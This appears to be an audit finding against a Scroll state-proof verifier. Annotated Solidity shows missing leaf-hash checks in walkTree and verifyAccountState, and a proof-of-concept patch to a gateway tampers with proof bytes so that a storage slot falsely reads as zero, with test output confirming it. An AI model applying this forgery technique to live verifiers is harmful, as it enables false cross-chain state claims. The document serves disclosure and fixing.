//contracts/scroll/ScrollVerifierHooks.sol
    function walkTree(
        bytes32 key,
        bytes memory encodedProof,
        bytes32 rootHash,
        uint256 leafSize
    ) internal view returns (bytes32 keyHash, bytes32 h, bytes memory v, bool exists) {
...
            } else if (nodeType == NODE_LEAF) {
                if (v.length != leafSize) revert InvalidProof();
                // NOTE: leafSize is >= 33
                if (uint8(v[leafSize - 33]) != 32) revert InvalidProof(); // InvalidKeyPreimageLength
                bytes32 temp;
                assembly {
                    temp := mload(add(v, 33))
                }
                if (temp == keyHash) {
                    assembly {
                        temp := mload(add(v, leafSize))
                    }
                    if (temp != key) revert InvalidProof(); // InvalidKeyPreimage
                    //@audit-info note: no checks on H(leafNode) here
|>                  exists = true;
                } else {
                    // If the trie does not contain a value for key, the returned proof contains all
                    // nodes of the longest existing prefix of the key (at least the root node), ending
                    // with the node that proves the absence of the key.
                    bytes32 p = bytes32((1 << i) - 1); // prefix mask
                    if ((temp & p) != (keyHash & p)) revert InvalidProof();
                    // this is a proof for a different value that traverses to the same place
                    //@audit-info note: no checks on H(leafNode) here
|>                  keyHash = temp;
                }
                  //@audit-info note: this directly returns walkTree to verifyAccountState / verifyStorageValue without H(leafNode) check.
|>                break;
...
//contracts/scroll/ScrollVerifierHooks.sol
    function verifyAccountState(
        bytes32 stateRoot,
        address account,
        bytes memory encodedProof
    ) external view returns (bytes32 storageRoot) {
        (bytes32 keyHash, bytes32 leafHash, bytes memory leaf, bool exists) = walkTree(
            bytes20(account),
            encodedProof,
            stateRoot,
            230
        ); // flags = 0x05080000
        //@audit When the returned leafHash == 0, there is no check on leaf value. Proof with incorrect leaf value will not be reverted.
|>      if (leafHash == 0) return NOT_A_CONTRACT;
...
test/gateway/scroll.test.ts:
Original proof 0500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002d5448495320495320534f4d45204d4147494320425954455320464f5220534d54206d317252586750327870444900000000000000000000000000000000000000
Modified Proof: 05FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002d5448495320495320534f4d45204d4147494320425954455320464f5220534d54206d317252586750327870444900000000000000000000000000000000000000
 MAINNET => SCROLL > slot = 101 [1517.74ms]

 1 pass
 0 fail
 1 expect() calls
Ran 1 tests across 1 files. [5.01s]
test/gateway/tests.ts:

...
export function runSlotDataTests(
  r: Contract,
  pointer = false,
  skipZero = false
) {
+  test('slot = 101', async () => {
+    expect(await r.readSlot(101,opts)).toEqual(0n);
+  });
+  //comment out other tests
src/gateway.ts:

export class Gateway<R extends Rollup> extends EZCCIP {
...
  constructor(readonly rollup: R) {
  ...
        return this.callLRU.cache(hash, async () => {
          const state = await commit.prover.evalDecoded(req);
          const proofSeq = await commit.prover.prove(state.needs);
+         const proofLen= proofSeq.proofs.length;
+          // Get the last proof (HexString)
+          let lastProof = proofSeq.proofs[proofLen - 1];
+          // Ensure the proof is long enough
+          if (lastProof.length >= 256) {
+            console.log("Original proof", lastProof.slice(-256));
+            // Manipulate proofs
+            const start = -254;
+            const end = -238;
+            // modified slice
+            const modifiedSlice = 'FF'.repeat((end - start) / 2); 
+            lastProof = lastProof.slice(0, lastProof.length + start) + modifiedSlice + lastProof.slice(lastProof.length + end);
+            console.log("Modified Proof:", lastProof.slice(-256));
+            // Update the proof in proofSeq
+             proofSeq.proofs[proofLen - 1] = lastProof;
+          } 
          return getBytes(this.rollup.encodeWitness(commit, proofSeq));
        });
